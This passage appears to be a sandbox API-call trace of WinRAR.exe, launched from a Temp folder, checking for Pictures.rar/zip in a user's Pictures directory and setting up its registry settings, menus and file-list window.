(in: nBufferLength=0x7ff, lpBuffer=0xf00f8f8560 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures") returned 0x18 [0060.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\Pictures\\Pictures.rar" (normalized: "c:\\users\\fd1hvy\\pictures\\pictures.rar")) returned 0xffffffff [0060.870] GetFileAttributesW (lpFileName="Pictures.zip" (normalized: "c:\\users\\fd1hvy\\pictures\\pictures.zip")) returned 0xffffffff [0060.870] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0xf00f8f8560 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures") returned 0x18 [0060.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\Pictures\\Pictures.zip" (normalized: "c:\\users\\fd1hvy\\pictures\\pictures.zip")) returned 0xffffffff [0060.870] FindFirstFileW (in: lpFileName="Pictures.rar", lpFindFileData=0xf00f8fa640 | out: lpFindFileData=0xf00f8fa640) returned 0xffffffffffffffff [0060.870] GetLastError () returned 0x2 [0060.870] SetLastError (dwErrCode=0x2) [0060.870] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Compression", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f77e0 | out: phkResult=0xf00f8f77e0*=0x0) returned 0x2 [0060.871] CreateFileW (lpFileName="Pictures.rar" (normalized: "c:\\users\\fd1hvy\\pictures\\pictures.rar"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0060.872] GetLastError () returned 0x2 [0060.872] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0xf00f8ea5e0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures") returned 0x18 [0060.872] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\Pictures\\Pictures.rar" (normalized: "c:\\users\\fd1hvy\\pictures\\pictures.rar"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0060.872] GetLastError () returned 0x2 [0060.872] GetFileAttributesW (lpFileName="Pictures.rar" (normalized: "c:\\users\\fd1hvy\\pictures\\pictures.rar")) returned 0xffffffff [0060.872] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0xf00f8f0e00 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures") returned 0x18 [0060.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\Pictures\\Pictures.rar" (normalized: "c:\\users\\fd1hvy\\pictures\\pictures.rar")) returned 0xffffffff [0060.872] SendMessageW (hWnd=0x10246, Msg=0x8003, wParam=0x0, lParam=0x0) returned 0x0 [0060.872] GetMenu (hWnd=0x10246) returned 0x10277 [0060.872] GetSubMenu (hMenu=0x10277, nPos=4) returned 0x1024c [0060.872] GetSubMenu (hMenu=0x1024c, nPos=5) returned 0x10254 [0060.872] DeleteMenu (hMenu=0x10254, uPosition=0x41a, uFlags=0x0) returned 0 [0060.872] CheckMenuItem (hMenu=0x10254, uIDCheckItem=0xab, uCheck=0x0) returned 0x0 [0060.872] GetLastError () returned 0x2 [0060.872] SetLastError (dwErrCode=0x2) [0060.872] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Interface\\Themes", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f5870 | out: phkResult=0xf00f8f5870*=0x2fc) returned 0x0 [0060.872] RegQueryValueExW (in: hKey=0x2fc, lpValueName="ActivePath", lpReserved=0x0, lpType=0xf00f8f5cd4, lpData=0x7ff6f764047e, lpcbData=0xf00f8f5cd0*=0x1000 | out: lpType=0xf00f8f5cd4*=0x0, lpData=0x7ff6f764047e*=0x0, lpcbData=0xf00f8f5cd0*=0x1000) returned 0x2 [0060.872] RegCloseKey (hKey=0x2fc) returned 0x0 [0060.872] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x1, phkResult=0xf00f8f6550 | out: phkResult=0xf00f8f6550*=0x0) returned 0x2 [0060.872] SHGetMalloc (in: ppMalloc=0xf00f8f64f0 | out: ppMalloc=0xf00f8f64f0*=0x7ff92fcdf3f0) returned 0x0 [0060.873] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0xf00f8f6538 | out: ppidl=0xf00f8f6538) returned 0x0 [0060.873] SHGetPathFromIDListW (in: pidl=0x28b084f1650, pszPath=0xf00f8f79a0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0060.873] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar")) returned 0x10 [0060.873] IMalloc:Free (This=0x7ff92fcdf3f0, pv=0x28b084f1650) [0060.873] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR\\Themes" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar\\themes")) returned 0xffffffff [0060.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR\\Themes" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar\\themes")) returned 0xffffffff [0060.873] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xf00f8f79a0, nSize=0x800 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\winrar.exe")) returned 0x2d [0060.873] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x8e) returned 0x28b084e6480 [0060.873] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x51d0) returned 0x28b084f1650 [0060.873] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Themes\\winrar_theme_description.txt", lpFindFileData=0xf00f8f31f0 | out: lpFindFileData=0xf00f8f31f0) returned 0xffffffffffffffff [0060.873] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Themes\\winrar_theme_description.txt", lpFindFileData=0xf00f8f31f0 | out: lpFindFileData=0xf00f8f31f0) returned 0xffffffffffffffff [0060.874] GetLastError () returned 0x3 [0060.874] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x1010) returned 0x28b084f6830 [0060.874] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Themes\\*", lpFindFileData=0xf00f8f31f0 | out: lpFindFileData=0xf00f8f31f0) returned 0xffffffffffffffff [0060.874] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Themes\\*", lpFindFileData=0xf00f8f31f0 | out: lpFindFileData=0xf00f8f31f0) returned 0xffffffffffffffff [0060.874] GetLastError () returned 0x3 [0060.874] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f6830 | out: hHeap=0x28b08430000) returned 1 [0060.874] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f1650 | out: hHeap=0x28b08430000) returned 1 [0060.874] DrawMenuBar (hWnd=0x10246) returned 1 [0060.874] NtdllDefWindowProc_W () returned 0x0 [0060.874] NtdllDefWindowProc_W () returned 0x0 [0060.874] NtdllDefWindowProc_W () returned 0x1 [0060.875] NtdllDefWindowProc_W () returned 0x0 [0060.875] NtdllDefWindowProc_W () returned 0x1 [0060.875] CheckMenuItem (hMenu=0x10254, uIDCheckItem=0xab, uCheck=0x8) returned 0x0 [0060.875] GetLastError () returned 0x3 [0060.875] SetLastError (dwErrCode=0x3) [0060.876] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Interface\\Themes", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x28b00020006, lpSecurityAttributes=0x0, phkResult=0xf00f8f5868, lpdwDisposition=0xf00f8f5860 | out: phkResult=0xf00f8f5868*=0x2fc, lpdwDisposition=0xf00f8f5860*=0x2) returned 0x0 [0060.876] RegSetValueExW (in: hKey=0x2fc, lpValueName="ShellExtBMP", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0060.876] RegCloseKey (hKey=0x2fc) returned 0x0 [0060.876] GetLastError () returned 0x3 [0060.876] SetLastError (dwErrCode=0x3) [0060.876] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Interface\\Themes", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x28b00020006, lpSecurityAttributes=0x0, phkResult=0xf00f8f5868, lpdwDisposition=0xf00f8f5860 | out: phkResult=0xf00f8f5868*=0x2fc, lpdwDisposition=0xf00f8f5860*=0x2) returned 0x0 [0060.876] RegSetValueExW (in: hKey=0x2fc, lpValueName="ShellExtIcon", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0060.876] RegCloseKey (hKey=0x2fc) returned 0x0 [0060.876] GetLastError () returned 0x3 [0060.876] SetLastError (dwErrCode=0x3) [0060.876] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8fac60 | out: phkResult=0xf00f8fac60*=0x0) returned 0x2 [0060.876] GetClientRect (in: hWnd=0x10246, lpRect=0xf00f8fb1b0 | out: lpRect=0xf00f8fb1b0) returned 1 [0060.876] CreateWindowExW (dwExStyle=0x300, lpClassName="SysListView32", lpWindowName="", dwStyle=0x44200249, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x10246, hMenu=0xb, hInstance=0x7ff6f74d0000, lpParam=0x0) returned 0x102b8 [0060.879] NtdllDefWindowProc_W () returned 0x2 [0060.879] NtdllDefWindowProc_W () returned 0x0 [0060.898] NtdllDefWindowProc_W () returned 0x0 [0060.898] GetLastError () returned 0x0 [0060.898] SetLastError (dwErrCode=0x0) [0060.898] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8fac60 | out: phkResult=0xf00f8fac60*=0x0) returned 0x2 [0060.898] GetMenu (hWnd=0x10246) returned 0x10277 [0060.898] GetSubMenu (hMenu=0x10277, nPos=4) returned 0x1024c [0060.898] GetSubMenu (hMenu=0x1024c, nPos=3) returned 0x10250 [0060.898] CheckMenuItem (hMenu=0x10250, uIDCheckItem=0xa5, uCheck=0x0) returned 0x0 [0060.898] CheckMenuItem (hMenu=0x10250, uIDCheckItem=0xa6, uCheck=0x8) returned 0x0 [0060.898] GetWindowLongPtrW (hWnd=0x102b8, nIndex=-16) returned 0x44300249 [0060.898] GetLastError () returned 0x0 [0060.898] SetLastError (dwErrCode=0x0) [0060.898] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8fac60 | out: phkResult=0xf00f8fac60*=0x0) returned 0x2 [0060.898] GetLastError () returned 0x0 [0060.898] SetLastError (dwErrCode=0x0) [0060.898] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8fac60 | out: phkResult=0xf00f8fac60*=0x0) returned 0x2 [0060.898] GetLastError () returned 0x0 [0060.898] SetLastError (dwErrCode=0x0) [0060.898] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8fac60 | out: phkResult=0xf00f8fac60*=0x0) returned 0x2 [0060.898] GetLastError () returned 0x0 [0060.898] SetLastError (dwErrCode=0x0) [0060.899] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8fac60 | out: phkResult=0xf00f8fac60*=0x0) returned 0x2 [0060.899] SendMessageW (hWnd=0x102b8, Msg=0x1036, wParam=0x0, lParam=0x10420) returned 0x0 [0060.900] GetLastError () returned 0x0 [0060.900] SetLastError (dwErrCode=0x0) [0060.900] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8fa3d0 | out: phkResult=0xf00f8fa3d0*=0x0) returned 0x2 [0060.900] SendMessageW (hWnd=0x102b8, Msg=0xb, wParam=0x0, lParam=0x0) returned 0x0 [0060.901] GetVersionExW (in: lpVersionInformation=0xf00f8faf20*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x70, szCSDVersion="") | out: lpVersionInformation=0xf00f8faf20*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0060.901] SendMessageW (hWnd=0x102b8, Msg=0x101c, wParam=0x9, lParam=0x0) returned 0x0 [0060.901] SendMessageW (hWnd=0x102b8, Msg=0x101c, wParam=0x8, lParam=0x0) returned 0x0 [0060.901] SendMessageW (hWnd=0x102b8, Msg=0x101c, wParam=0x7, lParam=0x0) returned 0x0 [0060.902] SendMessageW (hWnd=0x102b8, Msg=0x101c, wParam=0x6, lParam=0x0) returned 0x0 [0060.902] SendMessageW (hWnd=0x102b8, Msg=0x101c, wParam=0x5, lParam=0x0) returned 0x0 [0060.902] SendMessageW (hWnd=0x102b8, Msg=0x101c, wParam=0x4, lParam=0x0) returned 0x0 [0060.903] SendMessageW (hWnd=0x102b8, Msg=0x101c, wParam=0x3, lParam=0x0) returned 0x0 [0060.903] SendMessageW (hWnd=0x102b8, Msg=0x101c, wParam=0x2, lParam=0x0) returned 0x0 [0060.903] SendMessageW (hWnd=0x102b8, Msg=0x101c, wParam=0x1, lParam=0x0) returned 0x0 [0060.903] SendMessageW (hWnd=0x102b8, Msg=0x101c, wParam=0x0, lParam=0x0) returned 0x0 [0060.903] GetLastError () returned 0x6 [0060.903] SetLastError (dwErrCode=0x6) [0060.903] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8fabe0 | out: phkResult=0xf00f8fabe0*=0x0) returned 0x2 [0060.903] GetMenu (hWnd=0x10246) returned 0x10277 [0060.903] CheckMenuItem (hMenu=0x10277, uIDCheckItem=0xa4, uCheck=0x0) returned 0x0 [0060.903] GetLastError () returned 0x6 [0060.903] SetLastError (dwErrCode=0x6) [0060.903] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8fabe0 | out: phkResult=0xf00f8fabe0*=0x0) returned 0x2 [0060.903] GetLastError () returned 0x6 [0060.903] SetLastError (dwErrCode=0x6) [0060.903] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8fabe0 | out: phkResult=0xf00f8fabe0*=0x0) returned 0x2 [0060.903] GetLastError () returned 0x6 [0060.903] SetLastError (dwErrCode=0x6) [0060.903] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8fabe0 | out: phkResult=0xf00f8fabe0*=0x0) returned 0x2 [0060.904] GetLastError () returned 0x6 [0060.904] SetLastError (dwErrCode=0x6) [0060.904] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8fabe0 | out: phkResult=0xf00f8fabe0*=0x0) returned 0x2 [0060.904] GetLastError () returned 0x6 [0060.904] SetLastError (dwErrCode=0x6) [0060.904] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8fabe0 | out: phkResult=0xf00f8fabe0*=0x0) returned 0x2 [0060.904] GetLastError () returned 0x6 [0060.904] SetLastError (dwErrCode=0x6) [0060.904] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8fabe0 | out: phkResult=0xf00f8fabe0*=0x0) returned 0x2 [0060.904] GetLastError () returned 0x6 [0060.904] SetLastError (dwErrCode=0x6) [0060.904] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8fabe0 | out: phkResult=0xf00f8fabe0*=0x0) returned 0x2 [0060.904] GetLastError () returned 0x6 [0060.904] SetLastError (dwErrCode=0x6) [0060.904] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8fabe0 | out: phkResult=0xf00f8fabe0*=0x0) returned 0x2 [0060.904] GetLastError () returned 0x6 [0060.904] SetLastError (dwErrCode=0x6) [0060.904] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8fabe0 | out: phkResult=0xf00f8fabe0*=0x0) returned 0x2 [0060.904] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x6e, lpBuffer=0x7ff6f7650a30, cchBufferMax=512 | out: lpBuffer="Name") returned 0x4 [0060.904] SendMessageW (hWnd=0x102b8, Msg=0x1061, wParam=0x0, lParam=0xf00f8fb080) returned 0x0 [0060.904] GetLastError () returned 0x6 [0060.904] SetLastError (dwErrCode=0x6) [0060.904] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\ArcColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8fabe0 | out: phkResult=0xf00f8fabe0*=0x0) returned 0x2 [0060.905] GetLastError () returned 0x6 [0060.905] SetLastError (dwErrCode=0x6) [0060.905] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8fabe0 | out: phkResult=0xf00f8fabe0*=0x0) returned 0x2 [0060.905] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x6f, lpBuffer=0x7ff6f7650e30, cchBufferMax=512 | out: lpBuffer="Size") returned 0x4 [0060.905] SendMessageW (hWnd=0x102b8, Msg=0x1061, wParam=0x1, lParam=0xf00f8fb080) returned 0x1 [0060.905] GetLastError () returned 0x6 [0060.905] SetLastError (dwErrCode=0x6) [0060.905] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\ArcColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8fabe0 | out: phkResult=0xf00f8fabe0*=0x0) returned 0x2 [0060.905] GetLastError () returned 0x6 [0060.905] SetLastError (dwErrCode=0x6) [0060.905] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8fabe0 | out: phkResult=0xf00f8fabe0*=0x0) returned 0x2 [0060.905] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x70, lpBuffer=0x7ff6f764f230, cchBufferMax=512 | out: lpBuffer="Type") returned 0x4 [0060.905] SendMessageW (hWnd=0x102b8, Msg=0x1061, wParam=0x2, lParam=0xf00f8fb080) returned 0x2 [0060.905] GetLastError () returned 0x6 [0060.905] SetLastError (dwErrCode=0x6) [0060.905] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\ArcColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8fabe0 | out: phkResult=0xf00f8fabe0*=0x0) returned 0x2 [0060.905] GetLastError () returned 0x6 [0060.905] SetLastError (dwErrCode=0x6) [0060.905] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8fabe0 | out: phkResult=0xf00f8fabe0*=0x0) returned 0x2 [0060.905] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x72, lpBuffer=0x7ff6f764f630, cchBufferMax=512 | out: lpBuffer="Modified") returned 0x8 [0060.905] SendMessageW (hWnd=0x102b8, Msg=0x1061, wParam=0x3, lParam=0xf00f8fb080) returned 0x3 [0060.906] GetLastError () returned 0x6 [0060.906] SetLastError (dwErrCode=0x6) [0060.906] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\ArcColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8fabe0 | out: phkResult=0xf00f8fabe0*=0x0) returned 0x2 [0060.906] GetLastError () returned 0x6 [0060.906] SetLastError (dwErrCode=0x6) [0060.906] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8fabe0 | out: phkResult=0xf00f8fabe0*=0x0) returned 0x2 [0060.906] GetLastError () returned 0x6 [0060.906] SetLastError (dwErrCode=0x6) [0060.906] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\ArcColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8fabe0 | out: phkResult=0xf00f8fabe0*=0x0) returned 0x2 [0060.906] GetLastError () returned 0x6 [0060.906] SetLastError (dwErrCode=0x6) [0060.906] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8fabe0 | out: phkResult=0xf00f8fabe0*=0x0) returned 0x2 [0060.906] SendMessageW (hWnd=0x102b8, Msg=0x101f, wParam=0x0, lParam=0x0) returned 0x102ba [0060.906] SendMessageW (hWnd=0x102b8, Msg=0xb, wParam=0x1, lParam=0x0) returned 0x0 [0060.906] GetClientRect (in: hWnd=0x10246, lpRect=0xf00f8fb0b0 | out: lpRect=0xf00f8fb0b0) returned 1 [0060.906] GetWindowRect (in: hWnd=0x0, lpRect=0xf00f8fb050 | out: lpRect=0xf00f8fb050) returned 0 [0060.906] GetWindowRect (in: hWnd=0x0, lpRect=0xf00f8fb050 | out: lpRect=0xf00f8fb050) returned 0 [0060.906] MoveWindow (hWnd=0x102b8, X=0, Y=566, nWidth=1064, nHeight=-567, bRepaint=1) returned 1 [0060.907] ShowWindow (hWnd=0x102b8, nCmdShow=5) returned 0 [0060.910] GetMenu (hWnd=0x10246) returned 0x10277 [0060.910] EnableMenuItem (hMenu=0x10277, uIDEnableItem=0x66, uEnable=0x1) returned 0 [0060.910] EnableMenuItem (hMenu=0x10277, uIDEnableItem=0x78, uEnable=0x0) returned 0 [0060.910] EnableMenuItem (hMenu=0x10277, uIDEnableItem=0x83, uEnable=0x0) returned 0 [0060.910] EnableMenuItem (hMenu=0x10277, uIDEnableItem=0x80, uEnable=0x0) returned 0 [0060.910] EnableMenuItem (hMenu=0x10277, uIDEnableItem=0x7b, uEnable=0x0) returned 0 [0060.910] EnableMenuItem (hMenu=0x10277, uIDEnableItem=0x84, uEnable=0x0) returned 0 [0060.910] EnableMenuItem (hMenu=0x10277, uIDEnableItem=0x85, uEnable=0x0) returned 0 [0060.910] EnableMenuItem (hMenu=0x10277, uIDEnableItem=0x86, uEnable=0x0) returned 0 [0060.910] EnableMenuItem (hMenu=0x10277, uIDEnableItem=0x87, uEnable=0x0) returned 0 [0060.910] EnableMenuItem (hMenu=0x10277, uIDEnableItem=0xa4, uEnable=0x1) returned 0 [0060.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="rar", cchCount1=-1, lpString2="rar", cchCount2=-1) returned 2 [0060.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="rar", cchCount1=-1, lpString2="exe", cchCount2=-1) returned 3 [0060.910] GetCurrentDirectoryW (in: nBufferLength=0x800, lpBuffer=0xf00f8f3ec0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures") returned 0x18 [0060.910] GetLastError () returned 0x578 [0060.910] SetLastError (dwErrCode=0x578) [0060.910] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f2130 | out: phkResult=0xf00f8f2130*=0x0) returned 0x2 [0060.911] ExpandEnvironmentStringsW (in: lpSrc="", lpDst=0xf00f8f2e70, nSize=0x800 | out: lpDst="") returned 0x1 [0060.911] GetFileAttributesW (lpFileName="Pictures.rar" (normalized: "c:\\users\\fd1hvy\\pictures\\pictures.rar")) returned 0xffffffff [0060.911] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0xf00f8f3e20 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures") returned 0x18 [0060.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\Pictures\\Pictures.rar" (normalized: "c:\\users\\fd1hvy\\pictures\\pictures.rar")) returned 0xffffffff [0060.911] AllocateAndInitializeSid (in: pIdentifierAuthority=0xf00f8f5e90, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0xf00f8f5e88 | out: pSid=0xf00f8f5e88*=0x28b084edc80*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0060.911] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x28b084edc80*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0xf00f8f5e80 | out: IsMember=0xf00f8f5e80) returned 1 [0060.911] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=1, lpString2="WinCon", cchCount2=6) returned 1 [0060.911] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8f5bf0 | out: lpPerformanceCount=0xf00f8f5bf0*=15224004289) returned 1 [0060.911] IsAppThemed () returned 0x1 [0060.912] IsThemeActive () returned 0x1 [0060.912] GetLastError () returned 0x0 [0060.912] SetLastError (dwErrCode=0x0) [0060.912] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Interface", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f5770 | out: phkResult=0xf00f8f5770*=0x304) returned 0x0 [0060.912] RegQueryValueExW (in: hKey=0x304, lpValueName="SystemProgressBar", lpReserved=0x0, lpType=0xf00f8f5bd4, lpData=0xf00f8f5bd0, lpcbData=0xf00f8f5c08*=0x4 | out: lpType=0xf00f8f5bd4*=0x0, lpData=0xf00f8f5bd0*=0x1, lpcbData=0xf00f8f5c08*=0x4) returned 0x2 [0060.912] RegCloseKey (hKey=0x304) returned 0x0 [0060.912] GetLastError () returned 0x0 [0060.912] SetLastError (dwErrCode=0x0) [0060.912] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Interface", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f5770 | out: phkResult=0xf00f8f5770*=0x304) returned 0x0 [0060.912] RegQueryValueExW (in: hKey=0x304, lpValueName="TaskbarProgressBar", lpReserved=0x0, lpType=0xf00f8f5bd4, lpData=0xf00f8f5bd0, lpcbData=0xf00f8f5c08*=0x4 | out: lpType=0xf00f8f5bd4*=0x0, lpData=0xf00f8f5bd0*=0x1, lpcbData=0xf00f8f5c08*=0x4) returned 0x2 [0060.912] RegCloseKey (hKey=0x304) returned 0x0 [0060.912] FindResourceW (hModule=0x7ff6f74d0000, lpName="CMDWNDADD", lpType=0x5) returned 0x7ff6f76c35c8 [0060.912] LoadResource (hModule=0x7ff6f74d0000, hResInfo=0x7ff6f76c35c8) returned 0x7ff6f778a010 [0060.912] SizeofResource (hModule=0x7ff6f74d0000, hResInfo=0x7ff6f76c35c8) returned 0x414 [0060.912] CreateDialogIndirectParamW (hInstance=0x7ff6f74d0000, lpTemplate=0x28b084f5120, hWndParent=0x0, lpDialogFunc=0x7ff6f75968c4, dwInitParam=0x0) returned 0x102be [0060.951] GetWindowRect (in: hWnd=0x102be, lpRect=0xf00f8f25b8 | out: lpRect=0xf00f8f25b8) returned 1 [0060.951] GetClientRect (in: hWnd=0x102be, lpRect=0xf00f8f25d8 | out: lpRect=0xf00f8f25d8) 